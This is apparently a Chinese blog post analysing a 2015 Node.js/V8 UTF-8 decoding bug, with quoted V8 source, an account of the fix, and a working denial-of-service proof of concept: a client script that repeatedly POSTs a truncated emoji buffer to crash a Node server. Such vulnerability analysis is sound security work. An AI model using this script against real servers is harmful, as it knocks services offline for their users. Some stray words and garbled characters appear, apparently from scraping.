Node.js 社區近期在美國獨立日週末的狂歡之時爆出漏洞
https://medium.com/@iojs/important-security-upgrades-for-node-js-and-io-js-8ac14ece5852javascript
先給出一段會觸發該漏洞的代碼html
直接在v0.12.4版本的node上運行,當即crash。java
下面咱們詳細的分析下該漏洞的原理。node
上面的代碼構造了一個長度爲1025的buffer,而後調用該buffer的toString方法解碼成utf8字符,平時開發中再日常不過的調用了。可是爲何在這裏會致使crash呢,和平時的寫法到底有什麼差異?c++
示例代碼雖少,可是裏面涉及到的各類調用可很多,從js到node中的c++,再到更底層的v8調用。大體過程以下圖所示。git
致使該漏洞產生的有幾個比較關鍵的調用過程。github
每個Utf8DecoderBase
類實例化的對象都有一個私有的屬性buffer_
,web
private: uint16_t buffer_[kBufferSize];
其中utfDecoder的kBufferSize設置爲512,buffer_用作存儲解碼後的utf8字符緩衝區。這裏須要注意的是512不是字節數,而是字符數,有些utf8字符只須要一個這樣的字符就能表示,有些則須要2個。示例代碼中構造buffer用的微笑字符則須要2個這樣的字符來表示,4個字節來存儲。因此buffer_能存儲的字節數是512*2=1024。json
若是待解碼的buffer長度不超過1024時,在buffer_中就能徹底被解碼完。解碼到buffer_的字符經過調用v8::internal::OS::MemCopy(data, buffer_, memcpy_length*sizeof(uint16_t))
被拷貝到返回給node使用的字符串內存區。服務器
可是當待解碼的buffer長度超過1024個字節時,前1024個字節解碼後仍是經過上面講的buffer_緩衝區存儲,剩餘待解碼的字符則交給Utf8DecoderBase::WriteUtf16Slow
處理。
void Utf8DecoderBase::WriteUtf16Slow(const uint8_t* stream, uint16_t* data, unsigned data_length) { while (data_length != 0) { unsigned cursor = 0; uint32_t character = Utf8::ValueOf(stream, Utf8::kMaxEncodedSize, &cursor); // There's a total lack of bounds checking for stream // as it was already done in Reset. stream += cursor; if (character > unibrow::Utf16::kMaxNonSurrogateCharCode) { *data++ = Utf16::LeadSurrogate(character); *data++ = Utf16::TrailSurrogate(character); DCHECK(data_length > 1); data_length -= 2; } else { *data++ = character; data_length -= 1; } } }
WriteUtf16Slow對剩餘的待解碼buffer調用 Utf8::ValueOf進行解碼, 調用Utf8::ValueOf時每次輸出一個utf8字符。其中data_length表示還須要解碼的字符數(注意不是utf8字符個數,而是uint16_t的個數),直至剩餘的data_length個字符所有被解碼。
上面講到調用Utf8::ValueOf從剩餘buffer中解碼出一個utf8字符,當這個utf8字符須要多個字節存儲時,便會調用到Utf8::CalculateValue, Utf8::CalculateValue根據utf8字符的編碼規則從buffer中解析出一個utf8字符。關於utf8編碼的詳細規則能夠參考阮一峯老師博客的文章《字符編碼筆記:ASCII,Unicode和UTF-8》,裏面很是詳細的講解了utf8的編碼規則。
uchar Utf8::CalculateValue(const byte* str, unsigned length, unsigned* cursor)
其中第一個參數表示待解碼的buffer,第二個參數表示還能夠讀取的字節數,最後一個參數cursor表示解析結束後buffer的偏移量,也就是該utf8字符所佔字節數。
簡單的講解了實例代碼執行時的調用鏈路後,咱們再結合示例代碼進行具體的調用分析。
首先示例代碼使用一個佔用4字節的微笑字符,構造出一個長度爲257*4=1028的buffer,接着又調用slice(0,-3)去除最後面的3個字節,以下圖所示。
而後調用buffer.toString()方法,將buffer解碼爲utf的字符串。因爲待解碼的字符長度爲1025,因此前1024個字節會在Utf8DecoderBase::Reset中解碼出512個字符(216個表情)到buffer_中,剩餘的一個buffer 0xf0
被傳入到Utf8DecoderBase::WriteUtf16Slow中繼續解碼。
void Utf8DecoderBase::WriteUtf16Slow(const uint8_t* stream, uint16_t* data, unsigned data_length);
stream爲待解碼的buffer,data存儲解碼後的字符,data_length表示待解碼的字符數。此時buffer_緩衝區中的512個字符已被copy到data中。
剩餘的最後一個buffer 0xf0
交給Utf8DecoderBase::WriteUtf16Slow處理,經過調用Utf8::ValueOf進行解碼。
最後一個字節的二進制爲(0xf0).toString(2)='11110000'
,根據utf8編碼規則,是一個佔用4字節的utf8字符的起始字節,因而繼續調用Utf8::CalculateValue讀取後面的字符。
因爲以前完整的buffer被截掉了3個字節,因此理想狀況下再次讀取下一個字節時讀到0x00
, 二進制爲(0x00).toString(2)='00000000'
。很明顯,不符合utf8規則預期的字節10xxxxxx
,函數返回kBadChar(0xFFFD)。至此整個解碼結束,程序無crash。
上面說到了理想狀況,但實際中因爲V8引擎的內存管理策略,讀完最後一個buffer再繼續讀取下一個字節時極可能會讀到髒數據(根據我打印的log發現讀取到髒數據的機率很是高,log詳情), 若是繼續讀取到髒數據恰好和最後一個字節組合一塊兒知足utf8編碼規則(這個機率也很高),此時便讀取到了一個合法的utf8字符(two characters),而理想狀況應該讀取到的是kBadChar(one character),那這又會產生什麼問題呢?
咱們再回到Utf8DecoderBase::WriteUtf16Slow的調用上
void Utf8DecoderBase::WriteUtf16Slow(const uint8_t* stream, uint16_t* data, unsigned data_length) { while (data_length != 0) { unsigned cursor = 0; uint32_t character = Utf8::ValueOf(stream, Utf8::kMaxEncodedSize, &cursor); // There's a total lack of bounds checking for stream // as it was already done in Reset. stream += cursor; if (character > unibrow::Utf16::kMaxNonSurrogateCharCode) { *data++ = Utf16::LeadSurrogate(character); *data++ = Utf16::TrailSurrogate(character); DCHECK(data_length > 1); data_length -= 2; } else { *data++ = character; data_length -= 1; } } }
此時data_length=1, 調用uint32_t character = Utf8::ValueOf(stream, Utf8::kMaxEncodedSize, &cursor),讀取到知足編碼規則的髒數據後if條件知足,因而執行DCHECK(data_length > 1)
,而此時data_length=1,斷言失敗,進程退出( 但在個人mac系統上並無由於斷言失敗退出,此時繼續執行data_length-=2, data_length=-1,while循環沒法退出,產生bus error進程crash)。
define DCHECK(condition) do { \ if (!(condition)) { \ V8_Fatal(__FILE__, __LINE__, "CHECK(%s) failed", #condition); \ } \ } while (0)
瞭解漏洞原理後,設計一個攻擊方案就簡單不少了,只要有涉及到buffer操做的地方均可以產生攻擊,web開發中常見的就是服務器攻擊了,下面咱們利用這個漏洞設計一個服務器的攻擊方案,致使被攻擊服務器進程crash,沒法正常提升服務。
web開發中常常會有post請求,而node服務器接收post請求時發生到服務器的數據,必然會使用到buffer,因此主要方案就是向node服務器不斷的post惡意構造的buffer。
使用原生http模塊啓動一個能夠接收post數據的服務器
var http = require('http'); http.createServer(function(req, res){ if(req.method == 'POST') { var buf = [], len = 0; req.on('data', function(chunk){ buf.push(chunk); len += chunk.length; }); req.on('end', function(){ var str = Buffer.concat(buf,len).toString(); res.end(str); }); }else { res.end('node'); } }).listen(3000);
因爲讀取髒內存的數據而且須要知足utf8編碼規則存在必定的機率,因此客戶端得不斷的向服務器post,爲了加快服務器crash,咱們發送稍微大點的buffer
var net = require('net'); var CRLF = '\r\n'; function send () { var connect = net.connect({ 'host':'127.0.0.1', 'port':3000 }); sendRequest(connect,'/post'); } send(); setInterval(function(){ send() },100); function sendRequest(connect, path) { var smile = Buffer(4); smile[0] = 0xf0; smile[1] = 0x9f; smile[2] = 0x98; smile[3] = 0x8a; smile = smile.toString(); var buf = Buffer(Array(16385).join(smile)).slice(0,-3); connect.write('POST '+path+' HTTP/1.1'); connect.write(CRLF); connect.write('Host: 127.0.0.1'); connect.write(CRLF); connect.write('Connection: keep-alive'); connect.write(CRLF); connect.write('Content-Length:'+buf.length); connect.write(CRLF); connect.write('Content-Type: application/json;charset=utf-8'); connect.write(CRLF); connect.write(CRLF); connect.write(buf); }
啓動服務器後,執行client腳本發現服務器很快就crash了。
瞭解漏洞原理後修復其實很是簡單,主要緣由就是調用Utf8::ValueOf解析字符時會讀取到符合編碼規則的髒數據,而這個是由於傳入的第二個參數是常量4,即便最後只剩一個字節時還繼續讀取。node官方的作法是調用此方法時傳入剩餘待解碼的字節數,這樣解析到最後一個字節時就不會繼續讀取到髒數據,天然也就不會形成斷言失敗或者死循環致使進程crash了。